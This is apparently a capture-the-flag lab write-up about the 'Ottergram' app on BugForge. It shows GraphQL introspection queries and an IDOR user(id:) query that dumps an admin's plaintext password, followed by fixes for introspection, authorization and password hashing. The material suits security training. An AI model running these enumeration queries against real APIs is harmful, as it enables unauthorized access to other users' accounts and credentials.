BugForge — 2026.03.14

Ottergram: GraphQL IDOR via Introspection

BugForge Broken Access Control medium
  • Vulnerability: GraphQL Introspection Disclosure, IDOR via GraphQL Query, Plaintext Password Storage
  • Key Technique: GraphQL introspection to discover schema, then direct object reference via user(id:) query to dump admin credentials
  • Result: Extracted admin credentials (email + plaintext password) achieving full account takeover

Objective

Extract admin credentials from the Ottergram application via the GraphQL API.

Initial Access

# Target Application
URL: ottergram (BugForge platform)

# Tech Stack
- Express (X-Powered-By header)
- GraphQL API
- CORS: Access-Control-Allow-Origin: *

# Auth details
Created a standard user account — JWT-based authentication
Authenticated queries via Authorization: Bearer <JWT> header

Key Findings

  1. GraphQL Introspection Enabled (CWE-200: Exposure of Sensitive Information) — Full schema disclosure to authenticated users, revealing all types, fields, queries, and mutations.
  2. IDOR via user(id:) Query (CWE-639: Authorization Bypass Through User-Controlled Key) — Any authenticated user can access any other user’s record (including password and role) by iterating integer IDs. Authentication exists but authorization is missing.
  3. Plaintext Password Storage (CWE-256: Plaintext Storage of a Password) — Passwords stored and returned in plaintext rather than hashed.

Attack Chain Visualization

┌──────────────────────┐
│  Register Account    │
│  Obtain JWT Token    │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│  Known Analytics     │
│  Query (userId: 2)   │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│  Introspection       │
│  __schema query      │
│  → Discover types    │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│  Inspect User Type   │
│  → Fields: id,       │
│    username, email,   │
│    password, role     │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│  Enumerate queryType │
│  → Find user(id:)    │
│    query              │
└──────────┬───────────┘
           │
           ▼
┌──────────────────────┐
│  Query user(id: 2)   │
│  → Admin credentials │
│    in plaintext       │
└──────────────────────┘

Exploitation Path

Step 1: Account Registration and Authentication

Created a standard user account on the platform and obtained a JWT token. All subsequent GraphQL queries were sent with the JWT in the Authorization: Bearer header.

Step 2: Initial Reconnaissance — Analytics Query

With a valid session, started with a known analytics query to confirm the GraphQL endpoint was responsive.

{
  analytics(userId: 2) {
    userId
    username
    stats
  }
}

This confirmed the endpoint was live and accepting authenticated requests.

Step 3: Schema Introspection — Type Discovery

Ran a full introspection query to enumerate the schema and discover available types.

{
  __schema {
    types {
      name
      kind
    }
  }
}

This revealed the User type among the schema’s object types.

Step 4: User Type Inspection — Field Enumeration

Inspected the User type to discover all available fields.

{
  __type(name: "User") {
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

Fields discovered: id, username, email, password, full_name, bio, role

The presence of password and role fields immediately signaled a critical exposure.

Step 5: Query Discovery — Finding the Entry Point

Enumerated the root query type to find queries that return User objects.

{
  __schema {
    queryType {
      fields {
        name
        args {
          name
          type { name kind }
        }
        type { name kind }
      }
    }
  }
}

Discovered user(id: Int!) — a query accepting a user ID and returning the full User object.

Step 6: Credential Extraction — IDOR Exploitation

Queried the user endpoint with id: 2 to retrieve the admin account.

{
  user(id: 2) {
    id
    username
    email
    password
    role
  }
}

Response returned admin credentials in plaintext:

  • Email: admin@ottergram.com
  • Password: bug{TW3rIEX2lR1gbIUXANh3gm9e6mhU6cbz}
  • Role: admin

Flag / Objective Achieved

bug{TW3rIEX2lR1gbIUXANh3gm9e6mhU6cbz}

Admin credentials successfully extracted via authenticated GraphQL query using a low-privilege user account. Full account takeover achieved. —

Key Learnings

  • GraphQL introspection is a goldmine — when enabled in production, it gives attackers a complete map of the API. Always the first thing to check on a GraphQL endpoint.
  • Authentication != authorization — having JWT auth doesn’t protect anything if any authenticated user can query any other user’s data. Authorization checks per-user are essential.
  • Field-level access control matters — even if a query exists, sensitive fields like password should never be resolvable. GraphQL resolvers need per-field authorization.
  • Passwords must never be API-accessible — even hashed passwords shouldn’t be returned via API. Plaintext makes it catastrophic.

Failed Approaches (Documented for Learning)

No failed approaches — introspection was enabled and gave full schema access on the first attempt. The attack chain was straightforward: introspect → discover → extract.


Tools Used

| Tool | Purpose | Usage | |——|———|——-| | GraphQL client / curl | Query execution | Sent introspection and data queries to the GraphQL endpoint | | Browser DevTools | Recon | Identified Express via X-Powered-By header and wildcard CORS policy | —

Remediation

1. GraphQL Introspection Enabled (CVSS: 5.3 - Medium)

Issue: Full schema introspection is enabled, allowing any authenticated user to discover all types, fields, queries, and mutations. CWE Reference: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Fix:

// BEFORE (Vulnerable)
const server = new ApolloServer({
  typeDefs,
  resolvers,
});

// AFTER (Secure)
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: false, // Disable in production
});

2. IDOR via user(id:) Query — No Authorization (CVSS: 9.1 - Critical)

Issue: The user query returns all fields for any user ID with no authorization checks. Any authenticated user can enumerate and dump all user records by iterating IDs. CWE Reference: CWE-639 - Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
const resolvers = {
  Query: {
    user: (_, { id }) => db.getUserById(id),
  },
};

// AFTER (Secure)
const resolvers = {
  Query: {
    user: (_, { id }, context) => {
      if (!context.user) throw new AuthenticationError('Not authenticated');
      if (context.user.id !== id && context.user.role !== 'admin') {
        throw new ForbiddenError('Not authorized');
      }
      return db.getUserById(id);
    },
  },
};

3. Plaintext Password Storage (CVSS: 7.5 - High)

Issue: Passwords are stored in plaintext and returned via the API. If the database is compromised, all credentials are immediately usable. CWE Reference: CWE-256 - Plaintext Storage of a Password

Fix:

// BEFORE (Vulnerable)
// Password stored as-is
user.password = req.body.password;

// AFTER (Secure)
const bcrypt = require('bcrypt');
// Hash on storage
user.password = await bcrypt.hash(req.body.password, 12);

// Never expose password field in GraphQL schema
// Remove 'password' from User type definition entirely
# BEFORE (Vulnerable)
type User {
  id: Int!
  username: String!
  email: String!
  password: String!  # Never expose this
  role: String!
}

# AFTER (Secure)
type User {
  id: Int!
  username: String!
  email: String!
  role: String!
  # password field removed entirely
}

OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control: IDOR via user(id:) query — authentication present but no authorization. Any authenticated user can access any other user’s data by guessing integer IDs.
  • A02:2021 — Cryptographic Failures: Plaintext password storage and transmission via API responses.
  • A04:2021 — Insecure Design: API designed without field-level access control. Password field included in public-facing schema.
  • A05:2021 — Security Misconfiguration: GraphQL introspection enabled in production. Wildcard CORS policy (Access-Control-Allow-Origin: *).

References

Tags: #graphql #idor #introspection #credential-disclosure #bugforge #api-security Document Version: 1.0 Last Updated: 2026-03-14

#GraphQL #introspection #IDOR #plaintext-passwords